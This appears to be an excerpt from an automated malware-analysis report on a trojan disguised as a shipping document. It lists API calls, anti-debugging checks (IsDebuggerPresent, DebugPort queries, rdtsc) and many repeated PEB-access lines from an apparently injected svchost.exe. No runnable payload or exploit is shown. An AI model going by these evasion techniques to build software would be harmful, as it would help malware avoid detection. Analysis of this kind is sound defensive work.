Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E6BD48 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00E6BD48

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E04AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00E04AFE

Source: netbtugc.exe, 00000006.00000002.3565934863.000000000328E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: PrWIbKXhdqUKk.exe, 00000008.00000002.3566544327.000000000075F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllss
Source: firefox.exe, 00000009.00000002.2473975943.000002004A35C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllII

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	API call chain: ExitProcess graph end node			graph_0-96742
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	API call chain: ExitProcess graph end node			graph_0-97082

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0327096E rdtsc

1_2_0327096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00417703 LdrLoadDll,

1_2_00417703

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E7401F BlockInput,

0_2_00E7401F

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E03B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00E03B4C

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E35BFC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00E35BFC

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E7C104 LoadLibraryA,GetProcAddress,

0_2_00E7C104

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00FE9658 mov eax, dword ptr fs:[00000030h]	0_2_00FE9658
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00FEACE8 mov eax, dword ptr fs:[00000030h]	0_2_00FEACE8
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00FEAC88 mov eax, dword ptr fs:[00000030h]	0_2_00FEAC88
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03308324 mov eax, dword ptr fs:[00000030h]	1_2_03308324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03308324 mov ecx, dword ptr fs:[00000030h]	1_2_03308324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03308324 mov eax, dword ptr fs:[00000030h]	1_2_03308324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03308324 mov eax, dword ptr fs:[00000030h]	1_2_03308324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A30B mov eax, dword ptr fs:[00000030h]	1_2_0326A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A30B mov eax, dword ptr fs:[00000030h]	1_2_0326A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A30B mov eax, dword ptr fs:[00000030h]	1_2_0326A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322C310 mov ecx, dword ptr fs:[00000030h]	1_2_0322C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03250310 mov ecx, dword ptr fs:[00000030h]	1_2_03250310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D437C mov eax, dword ptr fs:[00000030h]	1_2_032D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B2349 mov eax, dword ptr fs:[00000030h]	1_2_032B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B035C mov eax, dword ptr fs:[00000030h]	1_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B035C mov eax, dword ptr fs:[00000030h]	1_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B035C mov eax, dword ptr fs:[00000030h]	1_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B035C mov ecx, dword ptr fs:[00000030h]	1_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B035C mov eax, dword ptr fs:[00000030h]	1_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B035C mov eax, dword ptr fs:[00000030h]	1_2_032B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FA352 mov eax, dword ptr fs:[00000030h]	1_2_032FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D8350 mov ecx, dword ptr fs:[00000030h]	1_2_032D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0330634F mov eax, dword ptr fs:[00000030h]	1_2_0330634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322E388 mov eax, dword ptr fs:[00000030h]	1_2_0322E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322E388 mov eax, dword ptr fs:[00000030h]	1_2_0322E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322E388 mov eax, dword ptr fs:[00000030h]	1_2_0322E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325438F mov eax, dword ptr fs:[00000030h]	1_2_0325438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325438F mov eax, dword ptr fs:[00000030h]	1_2_0325438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03228397 mov eax, dword ptr fs:[00000030h]	1_2_03228397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03228397 mov eax, dword ptr fs:[00000030h]	1_2_03228397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03228397 mov eax, dword ptr fs:[00000030h]	1_2_03228397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032403E9 mov eax, dword ptr fs:[00000030h]	1_2_032403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032663FF mov eax, dword ptr fs:[00000030h]	1_2_032663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EC3CD mov eax, dword ptr fs:[00000030h]	1_2_032EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0323A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032383C0 mov eax, dword ptr fs:[00000030h]	1_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032383C0 mov eax, dword ptr fs:[00000030h]	1_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032383C0 mov eax, dword ptr fs:[00000030h]	1_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032383C0 mov eax, dword ptr fs:[00000030h]	1_2_032383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B63C0 mov eax, dword ptr fs:[00000030h]	1_2_032B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE3DB mov eax, dword ptr fs:[00000030h]	1_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE3DB mov eax, dword ptr fs:[00000030h]	1_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE3DB mov ecx, dword ptr fs:[00000030h]	1_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE3DB mov eax, dword ptr fs:[00000030h]	1_2_032DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D43D4 mov eax, dword ptr fs:[00000030h]	1_2_032D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D43D4 mov eax, dword ptr fs:[00000030h]	1_2_032D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322823B mov eax, dword ptr fs:[00000030h]	1_2_0322823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03234260 mov eax, dword ptr fs:[00000030h]	1_2_03234260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03234260 mov eax, dword ptr fs:[00000030h]	1_2_03234260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03234260 mov eax, dword ptr fs:[00000030h]	1_2_03234260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322826B mov eax, dword ptr fs:[00000030h]	1_2_0322826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274 mov eax, dword ptr fs:[00000030h]	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B8243 mov eax, dword ptr fs:[00000030h]	1_2_032B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B8243 mov ecx, dword ptr fs:[00000030h]	1_2_032B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0330625D mov eax, dword ptr fs:[00000030h]	1_2_0330625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322A250 mov eax, dword ptr fs:[00000030h]	1_2_0322A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236259 mov eax, dword ptr fs:[00000030h]	1_2_03236259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EA250 mov eax, dword ptr fs:[00000030h]	1_2_032EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EA250 mov eax, dword ptr fs:[00000030h]	1_2_032EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032402A0 mov eax, dword ptr fs:[00000030h]	1_2_032402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032402A0 mov eax, dword ptr fs:[00000030h]	1_2_032402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C62A0 mov eax, dword ptr fs:[00000030h]	1_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C62A0 mov ecx, dword ptr fs:[00000030h]	1_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C62A0 mov eax, dword ptr fs:[00000030h]	1_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C62A0 mov eax, dword ptr fs:[00000030h]	1_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C62A0 mov eax, dword ptr fs:[00000030h]	1_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C62A0 mov eax, dword ptr fs:[00000030h]	1_2_032C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E284 mov eax, dword ptr fs:[00000030h]	1_2_0326E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E284 mov eax, dword ptr fs:[00000030h]	1_2_0326E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B0283 mov eax, dword ptr fs:[00000030h]	1_2_032B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B0283 mov eax, dword ptr fs:[00000030h]	1_2_032B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B0283 mov eax, dword ptr fs:[00000030h]	1_2_032B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032402E1 mov eax, dword ptr fs:[00000030h]	1_2_032402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032402E1 mov eax, dword ptr fs:[00000030h]	1_2_032402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032402E1 mov eax, dword ptr fs:[00000030h]	1_2_032402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0323A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033062D6 mov eax, dword ptr fs:[00000030h]	1_2_033062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03260124 mov eax, dword ptr fs:[00000030h]	1_2_03260124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov eax, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov ecx, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov eax, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov eax, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov ecx, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov eax, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov eax, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov ecx, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov eax, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DE10E mov ecx, dword ptr fs:[00000030h]	1_2_032DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DA118 mov ecx, dword ptr fs:[00000030h]	1_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DA118 mov eax, dword ptr fs:[00000030h]	1_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DA118 mov eax, dword ptr fs:[00000030h]	1_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DA118 mov eax, dword ptr fs:[00000030h]	1_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F0115 mov eax, dword ptr fs:[00000030h]	1_2_032F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304164 mov eax, dword ptr fs:[00000030h]	1_2_03304164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304164 mov eax, dword ptr fs:[00000030h]	1_2_03304164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C4144 mov eax, dword ptr fs:[00000030h]	1_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C4144 mov eax, dword ptr fs:[00000030h]	1_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C4144 mov ecx, dword ptr fs:[00000030h]	1_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C4144 mov eax, dword ptr fs:[00000030h]	1_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C4144 mov eax, dword ptr fs:[00000030h]	1_2_032C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322C156 mov eax, dword ptr fs:[00000030h]	1_2_0322C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C8158 mov eax, dword ptr fs:[00000030h]	1_2_032C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236154 mov eax, dword ptr fs:[00000030h]	1_2_03236154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236154 mov eax, dword ptr fs:[00000030h]	1_2_03236154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03270185 mov eax, dword ptr fs:[00000030h]	1_2_03270185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EC188 mov eax, dword ptr fs:[00000030h]	1_2_032EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EC188 mov eax, dword ptr fs:[00000030h]	1_2_032EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D4180 mov eax, dword ptr fs:[00000030h]	1_2_032D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D4180 mov eax, dword ptr fs:[00000030h]	1_2_032D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B019F mov eax, dword ptr fs:[00000030h]	1_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B019F mov eax, dword ptr fs:[00000030h]	1_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B019F mov eax, dword ptr fs:[00000030h]	1_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B019F mov eax, dword ptr fs:[00000030h]	1_2_032B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322A197 mov eax, dword ptr fs:[00000030h]	1_2_0322A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322A197 mov eax, dword ptr fs:[00000030h]	1_2_0322A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322A197 mov eax, dword ptr fs:[00000030h]	1_2_0322A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033061E5 mov eax, dword ptr fs:[00000030h]	1_2_033061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032601F8 mov eax, dword ptr fs:[00000030h]	1_2_032601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F61C3 mov eax, dword ptr fs:[00000030h]	1_2_032F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F61C3 mov eax, dword ptr fs:[00000030h]	1_2_032F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_032AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322A020 mov eax, dword ptr fs:[00000030h]	1_2_0322A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322C020 mov eax, dword ptr fs:[00000030h]	1_2_0322C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C6030 mov eax, dword ptr fs:[00000030h]	1_2_032C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B4000 mov ecx, dword ptr fs:[00000030h]	1_2_032B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000 mov eax, dword ptr fs:[00000030h]	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E016 mov eax, dword ptr fs:[00000030h]	1_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E016 mov eax, dword ptr fs:[00000030h]	1_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E016 mov eax, dword ptr fs:[00000030h]	1_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E016 mov eax, dword ptr fs:[00000030h]	1_2_0324E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325C073 mov eax, dword ptr fs:[00000030h]	1_2_0325C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03232050 mov eax, dword ptr fs:[00000030h]	1_2_03232050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6050 mov eax, dword ptr fs:[00000030h]	1_2_032B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032280A0 mov eax, dword ptr fs:[00000030h]	1_2_032280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C80A8 mov eax, dword ptr fs:[00000030h]	1_2_032C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F60B8 mov eax, dword ptr fs:[00000030h]	1_2_032F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F60B8 mov ecx, dword ptr fs:[00000030h]	1_2_032F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323208A mov eax, dword ptr fs:[00000030h]	1_2_0323208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_0322A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032380E9 mov eax, dword ptr fs:[00000030h]	1_2_032380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B60E0 mov eax, dword ptr fs:[00000030h]	1_2_032B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322C0F0 mov eax, dword ptr fs:[00000030h]	1_2_0322C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032720F0 mov ecx, dword ptr fs:[00000030h]	1_2_032720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B20DE mov eax, dword ptr fs:[00000030h]	1_2_032B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326C720 mov eax, dword ptr fs:[00000030h]	1_2_0326C720
